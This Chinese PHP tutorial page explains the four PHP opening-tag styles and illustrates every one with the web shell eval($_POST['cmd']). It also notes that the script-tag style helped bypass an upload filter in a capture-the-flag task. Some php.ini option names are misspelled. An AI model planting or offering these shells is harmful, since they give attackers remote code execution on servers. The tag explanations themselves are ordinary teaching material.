)、簡短風格( )、ASP風格(<% %>)。"/> )、簡短風格( )、ASP風格(<% %>)。">

首頁 >後端開發 >PHP問題 >PHP的標識有哪幾種

PHP的標識有哪幾種

(*-*)浩
(*-*)浩原創
2019-11-21 17:40:103605瀏覽

PHP的標識有哪幾種

PHP的標誌有4種款式

XML風格                    推薦學習   ( ##PHP影片教學

<?php
eval($_POST[&#39;cmd&#39;]); 
?>

php推薦使用的標記風格。

伺服器管理員無法停用,所有伺服器上均可使用該風格。

腳本風格

<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

預設為開啟,無法停用


筆者曾經遇過一CTF題目,要求上傳shell,但卻對文件內容做了過濾,
<script language="php">
    eval($_POST[&#39;cmd&#39;]);
</script>

簡短風格

<? 
eval($_POST[&#39;cmd&#39;]);
?>

此種風格需要在配置檔案php.ini中啟用short_open_tage選項

此種風格在許多環境中預設是不支援的

ASP風格

<% 
eval($_POST[&#39;cmd&#39;]);
%>

此風格需要在設定檔php.ini中啟用asp_tag選項

在預設情況下是停用的

以上是PHP的標識有哪幾種的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn